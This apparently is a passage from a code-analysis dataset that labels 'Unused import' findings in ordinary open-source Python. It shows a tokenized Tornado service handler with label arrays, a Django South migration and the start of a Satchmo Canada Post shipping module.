"\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Service", "Handler_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "application_", ",_", "request_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Service", "Handler_", "(_", "base_", "._", "Base", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "handler_", "._", "authenticated_", "(_", "allow", "\\u", "prospe", "ctive", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "handler_", "._", "async", "hronous", "_", "(_", "datastore_", "=_", "True_", ",_", "obj", "\\u", "store_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "method", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Pars", "es", " ", "the", " ", "JSO", "N", " ", "request", " ", "body", ",", " ", "validates", " ", "it", ",", " ", "and", " ", "invoke", "s", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "method", " ", "as", " ", "specified", " ", "in", " ", "the", " ", "request", " ", "URI", ".", " ", "On", " ", "completion", ",", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "response", " ", "is", " ", "return", "ed", " ", "as", " ", "a", " ", "JSO", "N", "-", "encode", "d", " ", "HTTP", " ", "response", " ", "body", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "On", "Success_", "(_", "method_", ",_", "start", "\\u", "time_", ",_", "user_", ",_", "device", "\\u", "id_", ",_", "response", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "status_", "(_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "header_", "(_", "'", "Conten", "t", "-", "Type", "'_", ",_", "'", "applica", "tion", "/", "json", ";", " ", "charset", "=", "UT", "F", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "self", ".", "write", "()", " ", "accepts", " ", "a", " ", "dict", " ", "direct", "ly", ",", " ", "but", " ", "torn", "ado", "'", "s", " ", "json", "\\u", "encode_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "doe", "s", " ", "bytes", "-", "to", "-", "unicode", " ", "conversions", " ", "tha", "t", " ", "are", " ", "unne", "cess", "ary", " ", "on", " ", "py2", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "sur", "pris", "ingl", "y", " ", "expen", "sive", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "write_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "time_", "=_", "time_", "._", "time_", "(_", ")_", "-_", "start", "\\u", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "avg", "\\u", "req", "\\u", "time_", "._", "add_", "(_", "request", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "debug_", "(_", "'", "service", "d", " ", "%", "s", " ", "request", " ", "in", " ", "%", ".4", "fs", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "method", "\\u", "name_", ",_", "request", "\\u", "time_", ",_", "response", "\\u", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "finish_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "api", "\\u", "name", " ", "for", " ", "use", " ", "in", " ", "any", " ", "error", " ", "response", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "api", "\\u", "name_", "=_", "method", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "req", "\\u", "per", "\\u", "min_", "._", "increment_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "time_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "service", " ", "method", ";", " ", "(", "501", ":", " ", "Not", " ", "Impl", "ement", "ed", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "Service", "Handler_", "._", "SERV", "ICE", "\\u", "MAP_", "._", "has", "\\u", "key_", "(_", "method", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "fail", "\\u", "per", "\\u", "min_", "._", "increment_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "error_", "(_", "status", "\\u", "code_", "=_", "501_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json", "\\u", "request_", "=_", "self_", "._", "\\u", "Load", "JSONR", "eque", "st_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "json", "\\u", "request_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "fail", "\\u", "per", "\\u", "min_", "._", "increment_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "current", " ", "user", " ", "and", " ", "device", " ", "id", " ", "(", "bot", "h", " ", "of", " ", "whi", "ch", " ", "wer", "e", " ", "original", "ly", " ", "derive", "d", " ", "from", " ", "the", " ", "user", " ", "cookie", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user_", "=_", "base_", "._", "View", "finde", "r", "Context_", "._", "current_", "(_", ")_", "._", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "device", "\\u", "id_", "=_", "base_", "._", "View", "finde", "r", "Context_", "._", "current_", "(_", ")_", "._", "device", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "Service", "Handler_", "._", "SERV", "ICE", "\\u", "MAP_", "[_", "method", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Service", "Handler_", "._", "Invok", "e", "Service_", "(_", "self_", "._", "\\u", "client_", ",_", "self_", "._", "\\u", "obj", "\\u", "store_", ",_", "method", "\\u", "name_", ",_", "user_", "._", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "json", "\\u", "request_", ",_", "callback_", "=_", "partial_", "(_", "\\u", "On", "Success_", ",_", "method_", ",_", "start", "\\u", "time_", ",_", "user_", ",_", "device", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Service", "Handler_", "(_", "base_", "._", "Base", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "request", "\\u", "exception_", "(_", "self_", ",_", "e_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Ne", "ed", " ", "to", " ", "override", " ", "to", " ", "increment", " ", "\\u", "fail", "\\u", "per", "\\u", "min", " ", "counter", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "fail", "\\u", "per", "\\u", "min_", "._", "increment_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Service", "Handler_", ",_", "self_", ")_", "._", "\\u", "handle", "\\u", "request", "\\u", "exception_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Service", "Handler_", "(_", "base_", "._", "Base", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Invok", "e", "Service_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "method", "\\u", "name_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "json", "\\u", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Validate", "s", " ", "the", " ", "JSO", "N", " ", "request", " ", "body", " ", "and", " ", "invoke", "s", " ", "the", " ", "method", " ", "as", " ", "specified", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "the", " ", "request", " ", "URI", ".", " ", "On", " ", "completion", ",", " ", "the", " ", "response", " ", "is", " ", "return", "ed", " ", "as", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "JSO", "N", "-", "encode", "d", " ", "response", " ", "dictionar", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Look", " ", "up", " ", "informati", "on", " ", "abo", "ut", " ", "the", " ", "service", " ", "method", "._", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "Service", "Handler_", "._", "SERV", "ICE", "\\u", "MAP_", "[_", "method", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "allow", " ", "prospe", "ctive", " ", "users", " ", "to", " ", "access", " ", "method", "s", " ", "tha", "t", " ", "have", " ", "bee", "n", " ", "explicit", "ly", " ", "allow", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "base_", "._", "View", "finde", "r", "Context_", "._", "current_", "(_", ")_", "._", "user_", "._", "Is", "Register", "ed_", "(_", ")_", "and_", "not_", "method_", "._", "allow", "\\u", "prospe", "ctive", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "web_", "._", "HTTP", "Error_", "(_", "403_", ",_", "'", "Permi", "ssion", " ", "deni", "ed", ";", " ", "user", " ", "account", " ", "is", " ", "not", " ", "register", "ed", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request", "\\u", "message_", "=_", "yield_", "gen_", "._", "Task_", "(_", "base_", "._", "Base", "Handler_", "._", "\\u", "Creat", "e", "Request", "Message_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "json", "\\u", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "._", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "migr", "ator", "s_", "=_", "method_", "._", "request", "\\u", "migr", "ator", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "method_", "._", "min", "\\u", "support", "ed", "\\u", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "support", "ed", "\\u", "version_", "=_", "method_", "._", "max", "\\u", "support", "ed", "\\u", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "ex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "warning_", "(_", "util_", "._", "Format", "Log", "Argument_", "(_", "json", "\\u", "request_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Inva", "lid", "Request", "Error_", "(_", "INVALID", "\\u", "JSO", "N", "\\u", "REQUEST_", ",_", "request_", "=_", "ex_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Old", "er", " ", "clients", " ", "call", "ed", " ", "remove", "\\u", "photo", "s", " ", "inst", "ead", " ", "of", " ", "hide", "\\u", "photo", "s", ",", " ", "so", " ", "redirec", "t", " ", "them", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "method", "\\u", "name_", "==_", "'", "remove", "\\u", "photo", "s", "'_", "and_", "request", "\\u", "message_", "._", "original", "\\u", "version_", "<_", "Message_", "._", "RENA", "ME", "\\u", "PHOTO", "\\u", "LABEL_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "=_", "Old", "Remove", "Photos", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "=_", "method_", "._", "handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "dict_", "=_", "yield_", "gen_", "._", "Task_", "(_", "handler_", ",_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request", "\\u", "message_", "._", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "message_", "=_", "yield_", "gen_", "._", "Task_", "(_", "base_", "._", "Base", "Handler_", "._", "\\u", "Creat", "e", "Respons", "e", "Message_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "dict_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "._", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "message_", "._", "original", "\\u", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "migr", "ator", "s_", "=_", "method_", "._", "response", "\\u", "migr", "ator", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "response", "\\u", "message_", "._", "dict_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
mozilla/inventory/mozdns/view/migrations/0001_initial.py
[ { "content": "# -*- coding: utf-8 -*-\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n 'view.view': {\n 'Meta': {'unique_together': \"(('name',),)\", 'object_name': 'View', 'db_table': \"'view'\"},\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})\n }\n }\n\n complete_apps = ['view']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def forwards(self, orm):\n # Adding model 'View'\n db.create_table('view', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('name', self.gf('django.db.models.fields.CharField')(max_length=255)),\n ))\n db.send_create_signal('view', ['View'])\n\n # Adding unique constraint on 'View', fields ['name']\n db.create_unique('view', ['name'])", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 9 }, { "content": " def backwards(self, orm):\n # Removing unique constraint on 'View', fields ['name']\n db.delete_unique('view', ['name'])\n\n # Deleting model 'View'\n db.delete_table('view')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 21 } ]
[ { "span": "import datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "view", ".", "view", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "name", "',", "),", ")\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "View", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "view", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "view", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "View", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "create", "\\u", "table_", "(_", "'", "view", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "name", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "255_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "'", "view", "'_", ",_", "[_", "'", "View", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "unique", " ", "constraint", " ", "on", " ", "'", "View", "',", " ", "fields", " ", "['", "name", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "unique_", "(_", "'", "view", "'_", ",_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Remo", "ving", " ", "unique", " ", "constraint", " ", "on", " ", "'", "View", "',", " ", "fields", " ", "['", "name", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "delete", "\\u", "unique_", "(_", "'", "view", "'_", ",_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "View", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "table_", "(_", "'", "view", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dokterbob/satchmo/satchmo/apps/shipping/modules/canadapost/shipper.py
[ { "content": "'''\nCanada Post Shipping Module\nv0.1.1\n'''\n\n# Note, make sure you use decimal math everywhere!\nfrom decimal import Decimal\nfrom django.core.cache import cache\nfrom django.template import loader, Context\nfrom django.utils.safestring import mark_safe \nfrom django.utils.translation import ugettext as _\nfrom livesettings import config_get_group, config_value\nfrom shipping.modules.base import BaseShipper\nimport datetime\nimport logging\nimport urllib2\n\ntry:\n from xml.etree.ElementTree import fromstring, tostring\nexcept ImportError:\n from elementtree.ElementTree import fromstring, tostring\n \n\nlog = logging.getLogger('canadapost.shipper')\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Shipper(BaseShipper):\n \n \n\n \n\n\n\n \n\n \n ", "metadata": "root.Shipper", "header": "['module', '___EOS___']", "index": 25 }, { "content": " def __init__(self, cart=None, contact=None, service_type=None):\n\n self._calculated = False\n self.cart = cart\n self.contact = contact\n if service_type: \n self.service_type_code = service_type[0]\n self.service_type_text = service_type[1]\n else:\n self.service_type_code = '99'\n self.service_type_text = 'Uninitialized'\n\n self.id = u'canadapost-%s' % (self.service_type_code)", "metadata": "root.Shipper.__init__", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 27 }, { "content": " def __str__(self):\n '''\n This is mainly helpful for debugging purposes\n '''\n\n return 'Canada Post'", "metadata": "root.Shipper.__str__", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 41 }, { "content": " def __unicode__(self):\n '''\n As is this.\n '''\n\n return 'Canada Post'", "metadata": "root.Shipper.__unicode__", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 48 }, { "content": " def description(self):\n '''\n A basic description that will be displayed to the user when \n selecting their shipping options\n '''\n\n return _('Canada Post - %s' % self.service_type_text)", "metadata": "root.Shipper.description", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 55 }, { "content": " def cost(self):\n '''\n Complex calculations can be done here as long as the return \n value is a decimal figure\n '''\n\n assert(self._calculated)\n return(Decimal(self.charges))", "metadata": "root.Shipper.cost", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 63 }, { "content": " def method(self):\n '''\n Describes the actual delivery service (Mail, FedEx, DHL, UPS, etc)\n '''\n\n return _('Canada Post')", "metadata": "root.Shipper.method", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 72 }, { "content": " def expectedDelivery(self):\n '''\n Can be a plain string or complex calcuation \n returning an actual date\n '''\n\n if str(self.delivery_days) <> '1':\n return _('%s business days' % self.delivery_days)\n else:\n return _('%s business day' % self.delivery_days)", "metadata": "root.Shipper.expectedDelivery", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 79 }, { "content": " def valid(self, order=None):\n '''\n Can do complex validation about whether or not this\n option is valid. For example, may check to see if the \n recipient is in an allowed country or location.\n '''\n\n return self.is_valid", "metadata": "root.Shipper.valid", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 90 }, { "content": " def _process_request(self, connection, request):\n '''\n Post the data and return the XML response\n '''\n conn = urllib2.Request(url=connection, data=request.encode(\"utf-8\"))\n f = urllib2.urlopen(conn)\n all_results = f.read()\n self.raw = all_results\n return(fromstring(all_results))", "metadata": "root.Shipper._process_request", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 99 }, { "content": " def calculate(self, cart, contact):\n '''\n Based on the chosen Canada Post method, we will do our call(s) \n to Canada Post and see how much it will cost. We will also need \n to store the results for further parsing and return via the\n methods above.\n '''\n log.debug(\"Starting Canada Post calculations\")\n\n from satchmo_store.shop.models import Config\n settings = config_get_group('shipping.modules.canadapost')\n\n verbose = settings.VERBOSE_LOG.value\n \n self.delivery_days = _('3 - 4') #Default setting for ground delivery\n shop_details = Config.objects.get_current()\n self.packaging = ''\n self.is_valid = False\n error = False\n self.charges = 0\n\n if not settings.CPCID.value:\n log.warn(\"No CPCID found in 